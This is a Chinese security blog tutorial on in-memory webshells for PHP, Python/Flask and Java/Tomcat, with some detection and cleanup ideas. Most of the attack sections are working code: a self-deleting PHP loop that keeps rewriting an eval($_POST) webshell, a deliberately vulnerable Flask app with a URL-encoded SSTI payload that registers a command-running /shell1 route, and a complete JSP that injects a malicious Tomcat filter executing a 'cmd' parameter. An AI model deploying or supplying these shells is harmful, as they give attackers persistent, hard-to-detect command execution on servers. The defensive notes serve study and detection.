初探内存马

  1. 初探内存马
  2. 各种内存马
    1. php内存马
    2. python内存马
    3. java内存马

初探内存马

通过此文理解内存马,掌握内存马的基本原理以及一些基本分类,和一些基础知识,有助于后面我们的各种技术研究。

内存webshell相比于常规webshell更容易躲避传统安全监测设备的检测,通常被用来做持久化,规避检测,持续驻留目标服务器,不容易清除。无文件攻击、内存Webshell、进程注入等基于内存的攻击手段也受到了大多数攻击者青睐。

大概原理:
是先由客户端发起一个web请求,中间件的各个独立的组件如Listener、Filter、Servlet等组件会在请求过程中做监听、判断、过滤等操作,内存马利用请求过程在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode达到持久化的控制服务器。

img

以上是内存马的相关分类

下面基本介绍一下各种内存马。

各种内存马

php内存马

php内存马也就是php不死马是将不死马启动后删除本身,在内存中执行死循环,使管理员无法删除木马文件。本次演示是将php不死马放到web目录下访问后及执行会在本地循环生成php一句话木马。

检测思路

1.检查所有php进程处理请求的持续时间

2.检测执行文件是否在文件系统真实存在

<?php

set_time_limit(0);
//set_time_limit()函数:设置允许脚本运行的时间,单位为秒。如果设置为0(零),没有时间方面的限制。
ignore_user_abort(1);
//ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行,如果设置为 true,则忽略与用户的断开。
unlink(__FILE__);
//unlink(__FILE__)函数:删除文件。
while (1) {

$content = ‘<?php @eval($_POST["zzz"]) ?>’;

file_put_contents("22.php", $content);
//file_put_contents函数:将一个字符串写入文件。
usleep(10000);
//usleep函数:延迟执行当前脚本若干微秒(一微秒等于一百万分之一秒)。
}

?>//看看最基础的代码嗯就是不断的将一句话木马传入22.php文件中去。

如何处置

对于不死马,直接删除脚本是没有用的,因为php执行的时候已经把脚本读进去解释成opcode运行了。

其实也简单,可以写一个条件竞争的文件来克制不死马,其中必须将usleep改为小雨php不死马的参数。

<?php

set_time_limit(0);

ignore_user_abort(1);

unlink(__FILE__);

while (1) {

$content = ‘2222’;

file_put_contents("22.php", $content);

usleep(123);

}

?>

python内存马

Python内存马利用flask框架中ssti注入来实现,flask框架中在web应用模板渲染的过程中用到render_template_string()进行渲染但未对用户传输的代码进行过滤导致用户可以通过注入恶意代码来实现python内存马的注入。

#代码实例
from flask import Flask,url_for,redirect,render_template,render_template_string,request
app = Flask(__name__)

@app.route("/index/")
def test():
    content = request.args.get("content")
    return render_template_string(content)

if __name__ == "__main__":
    app.run(host='0.0.0.0',port=5000)
http://127.0.0.1:5000/index?=content%7B%7Ba.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D(%22app.add_url_rule(%27/shell1%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,%7B%27_request_ctx_stack%27:url_for.__globals__%5B%27_request_ctx_stack%27%5D,%27app%27:url_for.__globals__%5B%27current_app%27%5D%7D)%7D%7D

这就是payload,解一下url编码

http://127.0.0.1:5000/index?=content{{a.__init__.__globals__['__builtins__']['eval']("app.add_url_rule('/shell1', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

手续看是写入了一个shell1的路由,一旦访问这个路由就会执行whoami命令。

__class__:返回调用的参数类型

__bases__:返回基类列表

__builtins__:内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等

__globals__:以字典的形式返回函数所在的全局命名空间所定义的全局变量,这里的函数可以是类class的构造函数如__init__,也可以是flask的函数如url_for等。

add_url_rule注册了一个/shell的路由,__init__相当于构造函数,定义自己的属性,通过__init__.__globals__得到他们的命名空间从而得到builtins就可以执行内置函数如eval, exec, open等。

检测思路

1.查看所有内建模块中是否包含eval、exec等可以执行代码的函数如:class ‘warnings.catch_warnings’、class ‘site.Quitter’等。

2.检测self.add_url_rule()中特殊名字的路由如shell等。

java内存马

在内存马家族中,最多也最常见的就是java类别的,后续我会补充各种类型的内存马,通过代码,流量,逐步进行分析。

fillter型内存马
Filter:FIlter为过滤器可以对用户的一些请求进行拦截修改等操作。当web.xml中注册了一个Filter来对某个 Servlet 程序进行拦截处理时该 Filter 可以对Servlet 容器发送给 Servlet 程序的请求和 Servlet 程序回送给 Servlet 容器的响应进行拦截,可以决定是否将请求继续传递给 Servlet 程序,以及对请求和相应信息进行修改。filter型内存马是将命令执行的文件通过动态注册成一个恶意的filter,这个filter没有落地文件并可以让客户端发来的请求通过它来做命令执行。

filter检测思路:

带有特殊含义的filter的名字比如shell等。

Filter的优先级,filter内存马需要将filter调至最高

查看web.xml中有没有filter配置

检测特殊的classloader

检测classloader路径下没有class文件

检测Filter中的doFilter方法是否有恶意代码

filter内存马实战:

这里我们将公开的filter类型的内存马文件直接上传到tomcat网站下,访问内存马后就植入成功了,植入成功后在删掉相对的jsp文件也不会影响内存马的运行,但是重启tomcat服务器后内存马即失效。注入成功后在路径后加入?cmd=后跟命令即可。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import = "org.apache.catalina.core.StandardContext" %>
 
 
<!-- tomcat 8/9 -->
<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap"
page import = "org.apache.tomcat.util.descriptor.web.FilterDef" -->
 
 
<!-- tomcat 7 -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>
 
 
<%@ page import = "javax.servlet.*" %>
<%@ page import = "java.io.IOException" %>
<%@ page import = "java.lang.reflect.Constructor" %>
<%@ page import = "java.lang.reflect.Field" %>
<%@ page import = "java.util.Map" %>
 
 
<%
class filterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if (cmd!= null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
 
 
@Override
public void destroy() {
 
 
}
 
 
}
%>
 
 
 
 
<%
//从org.apache.catalina.core.ApplicationContext反射获取context方法
ServletContext servletContext =  request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
 
 
String name = "filterDemo";
//判断是否存在filterDemo1这个filter,如果没有则准备创建
if (filterConfigs.get(name) == null){
//定义一些基础属性、类名、filter名等
filterDemo filter = new filterDemo();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
 
 
//添加filterDef
standardContext.addFilterDef(filterDef);
 
 
//创建filterMap,设置filter和url的映射关系,可设置成单一url如/zzz ,也可以所有页面都可触发可设置为/*
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/zzz");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
 
 
//添加我们的filterMap到所有filter最前面
standardContext.addFilterMapBefore(filterMap);
 
 
//反射创建FilterConfig,传入standardContext与filterDef
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
 
 
//将filter名和配置好的filterConifg传入
filterConfigs.put(name,filterConfig);
out.write("Inject success!");
}
else{
out.write("Injected!");
}
%>

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。